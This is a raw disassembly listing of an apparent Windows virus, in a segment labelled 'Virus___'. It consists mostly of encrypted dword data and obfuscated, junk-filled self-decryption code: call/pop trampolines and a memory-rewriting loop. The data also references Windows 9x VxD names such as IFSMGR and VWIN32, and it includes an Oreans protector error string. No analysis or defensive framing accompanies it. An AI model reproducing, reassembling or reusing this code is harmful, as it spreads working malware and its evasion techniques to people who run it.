		dd 0C8513DA3h, 55D90CD6h, 81A567BEh, 99911B99h,	0C18D1C7Bh
		dd 0FF3F43BCh, 17813505h, 95893ED1h, 0C2F66ECBh, 89D25140h
		dd 781767B6h, 10E82401h, 5D000000h, 4D43BB4Fh, 0E9879B1h
		dd 59F0A8E5h, 0B7F551C4h, 8B665A9Dh, 37C281F2h,	66000064h
		dd 0BF7672BBh, 251B7244h, 0A69FC781h, 5E9DAE4h,	84000000h
		dd 9AF3EE67h, 0D48032FFh, 0CE859DEh, 24000000h,	272987D1h
		dd 6416BA94h, 0BE2912EEh, 2B1C63FEh, 0EBC1815Bh, 8145037Fh
		dd 164258F1h, 0F181F95Ch, 0CE2A8E9h, 51F38B66h,	0C7E38166h
		dd 0E9028F0Ch, 6, 1205DE8Bh, 0EA819F0Eh, 60519A22h, 81DAB70Fh
		dd 519A1EC2h, 0EE860h, 0AE840000h, 0CD51ACDBh, 0E80A0298h
		dd 7CD2AD27h, 5BF3B70Fh, 0F01EF83h, 0FFFF8B85h,	0C08166FFh
		dd 34EBFF81h, 4D534649h, 20205247h, 20444B56h, 20202020h
		dd 204D4D56h, 20202020h, 4E495756h, 20203233h, 4C445856h
		dd 20205244h, 3	dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5A1C5F
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5A14FC
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A14FC	proc near		; CODE XREF: Virus___:005A14F4p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5A14FC	endp

; ---------------------------------------------------------------------------
		dd 6A60F5E0h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 8167C356h, 888DD0E1h, 2646A7Dh
		dd 13E9h, 56BAD400h, 0CEAB7E43h, 620A9C9Ch, 10B1526Eh
		dd 733075A3h, 69B085C7h, 960h, 8E0F0000h, 2, 0C68B6160h
		dd 0AE9h, 0FED19D00h, 9A26BEFFh, 0F6153CDh, 0C1F8D8B7h
		dd 5E910E8h, 26000000h,	8AC176F4h, 8C8C166h, 0B48589F8h
		dd 60096069h, 302DDA81h, 7E944F6h, 97000000h, 760CD07Ah
		dd 666191A9h, 6008CBC1h, 16830Fh, 11E90000h, 0B2000000h
		dd 5F363211h, 70B4A164h, 0C70F21C3h, 7BF104ECh,	78C08166h
		dd 0FB83614Dh, 0A2850F40h, 6A000000h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0EE47C357h
		dd 0AEC7B193h, 71642F74h, 12E9h, 75ADB000h, 40C57A9Ah
		dd 31051B9h, 807D4E7Bh,	8DE13328h, 606988BDh, 8B666009h
		dd 0D38B66D8h, 21EE961h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0C45185C3h, 890F2109h
		dd 16h,	11E9h, 35F56F00h, 2025D009h, 780F8C6Dh,	9BF55D09h
		dd 12E987C5h, 4F000000h, 0AA89FDBh, 0B9F11206h,	0BBCCC0F0h
		dd 5C94B12Eh, 0DFB83FBh, 57850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0F68451C3h
		dd 5A2D11E7h, 0FA5FB6Ah, 88Fh, 2870F00h, 60000000h, 1890F61h
		dd 0F5000000h, 6990BD8Dh, 0F5600960h, 17AE961h,	0AE90000h
		dd 4D000000h, 0A4E0ECC3h, 0F389441Bh, 1FB83BFh,	0A8850Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0FC3AD3C3h, 0FC8B860h, 0BF666805h, 8D61C75Bh
		dd 606998BDh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 923BCFBFh, 135FD03h, 60D98160h, 611D6C4Fh
		dd 4140BE60h, 0CE9095Fh, 81000000h, 6F641D21h, 66DFCAADh
		dd 61F81A30h, 0EBE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 8A0FA564h, 0Eh, 9E9h
		dd 0A6DBE00h, 64BFAC29h, 0FB833601h, 68850F2Ah,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0A34EC357h, 13E9751Bh, 0CE000000h, 63391589h
		dd 0A287C417h, 0E44BFF71h, 0D35CECBFh, 0BD8DB9B7h, 96069A0h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 32C35545h
		dd 40581C2Bh, 0C48F71D2h, 4AE9FCh, 83F50000h, 850F27FBh
		dd 306h, 0D381F560h, 606FFE5Fh,	0A8BD8D61h, 6A096069h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 61F6C353h, 0E937F4EDh, 0Ch, 9EECE105h, 9110B09h
		dd 6BF19494h, 69B8BD89h, 6A0960h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 4D2C5C3h, 0B761E00Fh
		dd 0C88C66F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	2AC35646h, 6A0324h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0C28ACFC3h, 1880Fh, 0E9F90000h
		dd 8, 1B327493h, 0A047711Ah, 850FC00Ah,	1B2h, 0F5B58DF9h
		dd 6A09606Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0E67BC356h, 9C41238Ah,	15880Fh
		dd 10E90000h, 0C6000000h, 3C3E42DFh, 75E3E931h,	45B81A70h
		dd 8BC97BD4h, 60709585h, 14E9FC09h, 0EA000000h,	0D4E6BDBDh
		dd 0AC4BC82h, 0EF3B6A1Ah, 4005F44Bh, 50D7EAF9h,	0FE8B6660h
		dd 61F08B66h, 0F241489h, 1D89h,	17890F00h, 0E9000000h
		dd 12h,	0C81D9DF9h, 0A38DCD04h,	69F57B20h, 809DFABDh, 800F4708h
		dd 7, 1830Fh, 0FFC0000h, 0FE244C01h, 168C0Fh, 11E90000h
		dd 78000000h, 0C698814Ch, 86FC0B0Eh, 496207D2h,	0B6B60AB8h
		dd 55006A5Ah, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 73CF675Bh, 0CE957h, 7290000h, 0A102B943h
		dd 0E81108AAh, 0C2835CD4h, 51006A24h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0D3883301h
		dd 528BE543h, 810F7EACh, 1, 8966F5F9h, 6660FC72h, 613B27BBh
		dd 0F10CEC1h, 0C8Ch, 6830F00h, 0F000000h, 8Ch, 12E96000h
		dd 80000000h, 98C78BB8h, 0B9C1F71Ch, 4476B120h,	3E243EFAh
		dd 810F60AEh, 0
		dd 6169E580h, 72896661h, 4810F02h, 60000000h, 0CD615E57h
		dd 0BAE9F804h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 855AC355h, 0FA4DD87h
		dd 118Ch, 0CE900h, 67150000h, 0B0975819h, 0D3A4D897h, 858BC5BFh
		dd 9607095h, 0C890Fh, 810F0000h, 6, 810Fh, 0B58D0000h
		dd 9606FF5h, 0CA8B5360h, 61C3B55Fh, 410E858Dh, 6A0960h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 3717FCC3h, 358DD79Ch, 5E93D91h, 11000000h, 0B1979F30h
		dd 6060D0FFh, 0BAC9B70Fh, 422A5E04h, 7E861h, 0CB470000h
		dd 0F97900DDh, 9E9C1h, 0D470000h, 7E02C474h, 5955C854h
		dd 0B0858961h, 0F096069h, 18Eh,	0F861F900h, 69B0858Bh
		dd 66600960h
		db 0BFh, 0F2h
word_5A1B0E	dw 81F0h		; DATA XREF: Virus___:005813F2o
		dd 0ED5F0F3h, 60C36107h, 1810Fh, 66F80000h, 3AABC281h
		dd 6A6061h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0FC71AC3h, 18Bh, 0BD83F500h, 9607095h, 47850F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0E9BAC356h, 0BD7F6A66h, 81ABE7A0h
		dd 9585C7F5h, 3F096070h, 0E9000101h, 8,	4B4339B5h, 7AE807F8h
		dd 5E9h, 7CFA9200h, 20E99234h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 9693C352h
		dd 0CDFC6E11h, 20h, 74C00B00h, 0C708D37h, 69B8BD8Bh, 8B90960h
		dd 0A6000000h, 75492275h, 30488BFAh, 69B49D8Bh,	583B0960h
		dd 8B157F34h, 4D26BD3h,	18BCA03h, 69B08589h, 4EB0960h
		dd 0C5EB008Bh, 0B0858B61h, 0CF096069h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0DCC35545h,	0D850F58h, 60000000h
		dd 0F8EF19BFh, 8A0F35h,	61000000h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 95C35646h, 0A3FCD63Ch
		db 0C1h, 2Dh, 8Ah
; ---------------------------------------------------------------------------


loc_5A1C5F:				; CODE XREF: Virus___:005A14ECj
		mov	eax, eax
		call	sub_5A1C71
		adc	dl, [ecx+3Bh]
		or	al, 0F3h
		push	eax
		mov	esp, 5AD161B2h

; =============== S U B	R O U T	I N E =======================================



sub_5A1C71	proc near		; CODE XREF: Virus___:005A1C61p

arg_0		= dword	ptr  4

		mov	esi, edi
		pop	edi
		jmp	loc_5A1C85
; ---------------------------------------------------------------------------
		db 3Fh,	0FBh, 78h
		dd 0BF3652E5h, 3ECA620Eh
		db 0F4h
; ---------------------------------------------------------------------------


loc_5A1C85:				; CODE XREF: sub_5A1C71+3j
					; sub_5A1C71+39j
		add	edi, 5F75h
		jmp	loc_5A1C9C
; ---------------------------------------------------------------------------
		dd 143C73C6h, 0D799CAEFh, 68F8D660h
; ---------------------------------------------------------------------------


loc_5A1C9C:				; CODE XREF: sub_5A1C71+1Aj
		mov	eax, 0


loc_5A1CA1:				; CODE XREF: sub_5A1C71+97j
		push	dword ptr [eax+edi]
		jmp	loc_5A1CB9
; ---------------------------------------------------------------------------
		cld
		jbe	short loc_5A1C85
		dec	esp
		xor	[eax], al
		sal	byte ptr [ecx],	cl
		cmpsd
		fld	qword ptr [edx+esi*8+2776EC1h]


loc_5A1CB9:				; CODE XREF: sub_5A1C71+33j
		pop	ebx
		jle	loc_5A1CC5
		and	dx, 828Ah


loc_5A1CC5:				; CODE XREF: sub_5A1C71+49j
		add	ebx, 72CF76DDh
		jmp	loc_5A1CD5
; ---------------------------------------------------------------------------
		dd 0D8C542E4h
		db 0A2h
; ---------------------------------------------------------------------------


loc_5A1CD5:				; CODE XREF: sub_5A1C71+5Aj
		add	ebx, 28607DCDh
		mov	dh, 61h
		add	ebx, 5D334CCCh
		mov	esi, 6E3E4982h
		push	ebx
		movzx	esi, si
		pop	dword ptr [edi+eax]
		xor	esi, 6572FA6Bh
		sbb	edx, 5597A396h
		sub	eax, 4
		mov	cx, 336Ah
		cmp	eax, 0FFFFA134h
		jnz	loc_5A1CA1
		or	cx, 4C08h
		jmp	loc_5A2118
; ---------------------------------------------------------------------------
		dd 0
a3anInternalExc	db '3An internal exception occured (Address: 0x%x)',0Ah
		db 0Dh,'Please, contact support@oreans.com. Thank you!',0
		align 4
		dd 0E4h	dup(0)
		dd 43h,	36Ah, 0
; ---------------------------------------------------------------------------


loc_5A2118:				; CODE XREF: sub_5A1C71+A2j
		jmp	loc_5A328A
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	loc_5A2128
		and	[edi-3Dh], bl


loc_5A2128:				; CODE XREF: sub_5A1C71+4AFp
		pop	edi
		mov	[esp+arg_0], edi
		add	[esp+arg_0], 18h
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		dd 0BA65E319h, 0AD85899Dh, 8B095D0Ch, 5D060585h, 6840F09h
		dd 31000000h, 5D2309B5h, 24443909h, 7B850F04h, 1000000h
		dd 5D1089B5h, 39BD8309h, 95D16h, 68840Fh, 0BD090000h, 95D1325h
		dd 3973858Dh, 6A095Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0EA09AFC3h, 85897887h, 95D0FA1h
		dd 6E9h, 0FFB19B00h, 0FF4A4C8Bh, 56006AE0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 890FD4D7h
		dd 6, 18CD9589h, 858B095Dh, 95D0711h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 65C35040h, 2444395Eh, 15850F04h
		dd 0F5000000h, 75E485C7h, 10960h, 5E90000h, 80000000h
		dd 0A4EBB585h, 0AE96060h, 0CC000000h, 0C42D5BEh, 27451DC8h
		dd 0B18D8B60h, 61095D2Bh, 0AE9h, 7D858900h, 95D28h, 0B8000000h
		dd 1, 770F8587h, 0C00B0960h, 0B5FFF675h, 95D3335h, 75DC858Fh
		dd 206A0960h, 95FFFF6Ah, 95D0769h, 2B0DBD83h, 7400095Dh
		dd 0FF006A08h, 5D11B195h, 15BD8309h, 1095D03h, 80680D74h
		dd 6A000000h, 6995FFFFh, 6A095D07h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0D5C3C353h
		dd 1008A3F5h, 29339350h, 5D191185h, 57006A09h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 6DB31E34h
		dd 1648A8EDh, 0BE91Ah, 0EC340000h, 0D8456483h, 0F8133D22h
		dd 0B83Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 7CC35DC3h, 10303C2Fh, 0B58B6068h
		dd 95D179Dh, 28B1B58Bh,	8B61095Dh, 0E9282454h, 13h, 719CB995h
		dd 16CBCAD1h, 0F98412CBh, 640941A6h, 894AD2DBh,	5D33A985h
		dd 3CBEF909h, 0F000000h, 58Bh, 0C3806000h, 74036157h, 0F602424h
		dd 68Eh, 4DB58900h, 8B095D0Ah, 5D25018Dh, 0AD666109h, 0C658D29h
		dd 0F60095Dh, 58Ah, 0F1816600h,	8F0FBF20h, 6, 0F75BD89h
		dd 361095Dh, 6A242444h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 8C69C356h, 0F9C934Bh
		dd 185h, 6660F500h, 8940F4BFh, 5D211D85h, 50906109h, 12E952h
		dd 85DB0000h, 0A8AD757Eh, 4D58FF08h, 0BEDD3168h, 0B7CBF74h
		dd 8F0F310Fh, 6, 850Fh,	585A0000h, 198D0F50h, 60000000h
		dd 10E9h, 408C9000h, 0D7C92806h, 0D01C63D0h, 96DBE8FEh
		dd 615A5029h, 0D1958990h, 8B095D33h, 8E0F7840h,	9, 66616060h
		dd 1064C681h, 0E4BD8361h, 96075h, 121850Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 25165DC3h, 9831BD16h, 29559589h, 90F5095Dh, 188D0Fh
		dd 13E90000h, 14000000h, 8A11BA21h, 0A1530D14h,	0BC6E8409h
		dd 895B9030h, 0E95056D8h, 10h, 3AB7BE9Eh, 2CD7B519h, 7BDA482h
		dd 0C88C9817h, 56006A90h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0C342690h, 8D890B9Ah
		dd 95D28C5h, 2C24448Bh,	25E59D01h, 5090095Dh, 60525052h
		dd 50310F61h, 5A310F52h, 0F585A58h, 0DE931h, 7EC60000h
		dd 47808230h, 0D8590C89h, 5A80A686h, 52505058h,	66616060h
		dd 61CD83BBh, 880F310Fh, 2, 585A6160h, 53006A90h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 0A880FCEh, 0E9000000h, 5, 4443E44Fh,	0C850FF1h, 0E9000000h
		dd 7, 0CB1D1EB6h, 8D34CE13h, 6041B585h,	55B58909h, 0FF095D0Ch
		dd 0BD8D89D0h, 3095D16h, 6A282444h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0A2ECC350h
		dd 0F427C9D8h, 0C87F4F41h, 5359589h, 408B095Dh,	52006A18h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 5D5E71F3h, 16D9BD89h, 9589095Dh, 95D1F45h, 6880Fh, 85890000h
		dd 95D244Dh, 68C0F40h, 31000000h, 5D1D5595h, 0E0858909h
		dd 6A096075h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0B4EBC357h, 1880Fh, 58F50000h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 37C35545h
		dd 4CBBBA13h, 9D89CB9Ah, 95D0AC1h, 21C1B529h, 708B095Dh
		dd 52006A78h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 175D23C6h, 9D31614Eh, 95D0829h, 0CE816660h
		dd 0BD89B59Ah, 95D26A5h, 11853161h, 83095D16h, 6A1CC6h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0A4720EC3h, 0F6C79EDh, 687h,	8D8D3100h, 96095D1Fh, 9D68B60h
		dd 5D1A5595h, 7C816109h, 2424h,	870F1000h, 125h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 2BC35242h, 8C52AB02h
		dd 0DD17F20Ah, 0C870Fh,	810F0000h, 6, 8E0Fh, 850F0000h
		dd 15h,	10E9h, 0FBBCE700h, 9D788C7h, 0D220C422h, 7278D211h
		dd 8F0F50FEh, 0Eh, 890F5250h, 0
		dd 6160310Fh, 489585Ah,	13E924h, 0F1280000h, 9B408D7h
		dd 2CEBFDB1h, 64CA30B6h, 84627862h, 10B960C9h, 0E97AB3F3h
		dd 9, 73E53BD8h, 33965505h, 448B6117h, 6A2824h,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 509041C3h, 11890F52h, 0E9000000h, 0Ch, 6DD9893Ah, 720457ABh
		dd 9C82F492h, 0F60310Fh, 84h, 585A6100h, 50525050h, 820F52h
		dd 0F000000h, 5A616031h, 60310F58h, 5A61FB8Bh, 8DF99058h
		dd 6041B585h, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 0F9A1857h, 9D19D09h, 0D0FF095Dh
		dd 0BD0196F5h, 95D1D2Dh, 24247403h, 0F2B96660h,	9E9C3h
		dd 4BF10000h, 0B57CB106h, 61E8CA5Ch, 999BD8Dh, 8E0F095Dh
		dd 12h,	0DE9h, 371DF200h, 0AA2C3F02h, 0AD91C555h, 0ADF53D0Ch
		dd 0FE9h, 7F5CF800h, 0EA28D1BFh, 82A580B0h, 0E3A2B923h
		dd 24247C81h, 10000000h, 128870Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 8C0F4BC3h
		dd 6, 1D318529h, 8D89095Dh, 95D1D55h, 0C880F90h, 0F000000h
		dd 686h, 820F00h, 50000000h, 1BE6660h, 8E9E4h, 0FA420000h
		dd 74E3328Ch, 9061B542h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 14h, 0D6C35646h, 7860Fh, 8E0F0000h, 1, 8A0F60F5h
		dd 2, 95895B51h, 95D2945h, 24448B61h, 55006A28h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 6B2B7F68h, 9F4766FCh, 0CE950F8h, 5F000000h, 4F29FF1Fh
		dd 12A63857h, 890C3B51h, 8DFC2404h, 6041B585h, 55006A09h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0C3448599h, 0E9BEA455h, 0Eh,	450697FEh, 79F64E12h, 3E140D67h
		dd 0D0FF2B9Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	7BC35747h, 4403F9F8h, 6A2424h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 5BCFDFC3h
		dd 6AAB2Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0AE246EC3h, 72BC90BBh, 29698D29h,	0FA81095Dh
		dd 10000h, 72D820Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 5849C2C3h, 0FEE96267h
		dd 0BD8D95C7h, 95D03DDh, 143DBD89h, 60AD095Dh, 1AC38166h
		dd 7C8161C1h, 2424h, 870F1000h,	93h, 8E9h, 82CBA600h, 90A0F0D9h
		dd 820F50ABh, 8, 880F60h, 61000000h, 89240489h,	5D313185h
		dd 24448B09h, 0F90F828h, 0C81h,	6850F00h, 0F000000h, 86h
		dd 52505000h, 8A0F60h, 60000000h, 310F6161h, 60BA6660h
		dd 585A617Ah, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0A9B9A8C4h, 0C5853182h, 8D095D0Bh
		dd 6041B585h, 99D3109h,	0FF095D24h, 0F38B60D0h,	2F7DB50Bh
		dd 361095Dh, 9242444h, 5D1A858Dh, 52509009h, 10E9h, 381B8800h
		dd 0F5A4FA2Ah, 9B234DCh, 269204F7h, 50310F26h, 0F616052h
		dd 0EE931h, 5C8F0000h, 939FCC64h, 0BAB06490h, 80A58E3Ah
		dd 585A585Ah, 0BE950h, 62F30000h, 0C526D33Dh, 2A2CBF24h
		dd 8B609086h, 0B70F60D8h, 61F1B4C7h, 6AAB61h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0BD898BC3h
		dd 95D32E9h, 28C1BD8Dh,	6A095Dh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 35E70AC3h, 2960AD03h
		dd 5D22B995h, 3D852909h, 61095D13h, 28247C81h, 10000000h
		dd 10B870Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 940724C3h, 0C98589DAh, 50095D07h
		dd 8E9h, 768BF900h, 8C7435AEh, 24048964h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 18h, 0CAC35646h, 0E867AE58h
		dd 0F362BE60h, 0E4807209h, 8B6061C7h, 5D20A19Dh, 858D2909h
		dd 61095D2Fh, 2C24448Bh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 19h, 17C35545h, 0B4559372h, 6820F04h, 29000000h
		dd 5D2F25B5h, 820F9009h, 0Ah, 50616060h, 5A310F52h, 0F506158h
		dd 0A80h, 8B666000h, 25B8C3h, 90613C99h, 2665BD01h, 858D095Dh
		dd 96041B5h, 138B0Fh, 0EE90000h, 7C000000h, 5E52DD3Dh
		dd 6708A0F8h, 0BA8A9792h, 6AD0FFACh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 90E7C353h
		dd 68BDF708h, 244403F5h, 0D1858928h, 0AB095D06h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0AFC35646h, 0C93A870Ch
		dd 8B6660B1h, 59B589FBh, 61095D17h, 0E08DFF5Eh,	83096075h
		dd 6075E0BDh, 0A750009h, 0B58DC033h, 9608491h, 0AD56E6FFh
		dd 28247C81h, 10000000h, 8B500E77h, 502C2444h, 41B5858Dh
		dd 0D0FF0960h, 28244403h, 8ADF8B97h, 6075DC85h,	74C08409h
		dd 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h
		dd 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah,	66EBD166h
		dd 973D8D1h, 50413566h,	49F38166h, 75CEFE54h, 33C833EBh
		dd 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah
		dd 0C6835E0Fh, 0A985FF04h, 0E9095D33h, 0FFFFFF5Dh, 0FFCF95Eh
		dd 689h, 0D8D0900h, 8B095D07h, 5D33A985h, 31950109h, 0D1095D2Ah
		dd 6840FE0h, 89000000h,	5D1235BDh, 0C1850309h, 6A095D28h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 9FEBC351h, 0DB0B6BF8h, 11E96Bh, 0F0DE0000h
		dd 0B3E37Fh, 0BD07737Fh, 0A9BFC778h, 1914758h, 5D17F185h
		dd 6AF62B09h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 3F77C355h, 0BD29A44Bh,	95D2679h
		dd 0BD8996F8h, 95D1815h, 6AAD66h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0F33FAFC3h, 6E860h, 0DC360000h
		dd 544A9ECFh, 8B58E88Ah, 5D0C799Dh, 0C1F56109h,	6A02E0h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0E38FE6C3h, 0E5D32AC3h, 0B1608C5Bh, 8503618Dh, 95D0999h
		dd 0F58D3360h, 8B095D1Ch, 5D2FB19Dh, 6A966109h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0A746C355h, 0CE416558h, 31B5295Ah, 0AD095D11h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0DCC35242h, 5516CDAFh
		dd 629E3759h, 91858B60h, 0F095D03h, 689h, 870F00h, 61000000h
		dd 24247C81h, 10000000h, 101870Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 307222C3h
		dd 0D3064D36h, 99858901h, 90095D03h, 52505250h,	12E9h
		dd 6A9D3400h, 0C49FE704h, 0E86E384Fh, 805F722Bh, 0F5B6ABAh
		dd 8D0F31h, 5A000000h, 0F310F58h, 685h
		dd 850F00h, 5A000000h, 11E95058h, 0E2000000h, 3446AF8Fh
		dd 6AB16Ch, 834E294Ch, 50A51E0Eh, 59BD2990h, 8B095D13h
		dd 6A282444h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0DC42C356h, 0F22429Bh,	39BD8B60h
		dd 51095D08h, 21E1958Bh, 6158095Dh, 2AB5B501h, 0E990095Dh
		dd 0Ah,	5968A5A6h, 9F32B04Ch, 605066B9h, 5A616051h, 0DE99061h
		dd 70000000h, 3F4D3947h, 0EB906041h, 0E761B0F1h, 41B5858Dh
		dd 0CE90960h, 3B000000h, 2A9CBC7Ah, 0EFE802D6h,	0FFB4735Eh
		dd 0E99D89D0h, 3095D02h, 29242444h, 5D2B859Dh, 24448909h
		dd 52006A1Ch, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 601E5F50h, 4A58D89h, 14E9095Dh, 81000000h
		dd 0BB1079F9h, 0E6B5CE22h, 4569AD5Ch, 79AEF28Bh, 610299EFh
		dd 333585C6h, 0C700095Dh, 60770F85h, 9,	0E485C700h, 96075h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 14E8C353h, 176FEE2Bh, 9FE96530h
		dd 0AE9h, 0CDFD0B00h, 16CA4AECh, 0E9E6CFB4h, 13h, 34A7E244h
		dd 6BC44B9Fh, 8030CCE7h, 771E5025h, 6ADEAC32h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 5944C356h, 32E29120h, 263D9509h, 9531095Dh, 95D32F1h
		dd 0CE961h, 0F2A30000h,	0DFA3B296h, 0E91F3959h,	8C28991h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 601D1FCDh, 59529h, 8509095Dh, 95D310Dh
		dd 0D99D8961h, 8B095D0Bh, 5D099985h, 13890F09h,	0F000000h
		dd 0D82h, 8E900h, 0CE1D0000h, 854C9C5Eh, 0E94A9899h, 12h
		dd 4D7E0D01h, 0C208153Eh, 80BA764Fh, 4DCD444Fh,	8D89B50Bh
		dd 95D2095h, 6A04D26Bh,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 6FFEC353h, 0C541CA27h
		dd 89F801C5h, 5D23BD9Dh, 0C203F809h, 0BE9h, 97D80000h
		dd 0CA9AE530h, 0DB977946h, 0CE996h, 0A5300000h,	9FB70972h
		dd 14D235D4h, 0F5AD6615h, 24247C81h, 10000000h,	0E2870Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 5BCE70C3h, 0FC0E335Fh, 11E950h, 5BEC0000h
		dd 0F73ADDD5h, 1FF1E07Fh, 0ED5FB511h, 89B4BCD2h, 6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0FD8AC0C3h, 448B87B6h, 95312824h, 95D0B15h, 11E990h
		dd 18A0000h, 0CD984E1Ch, 1AA3FF59h, 0FD3F469h, 505B4539h
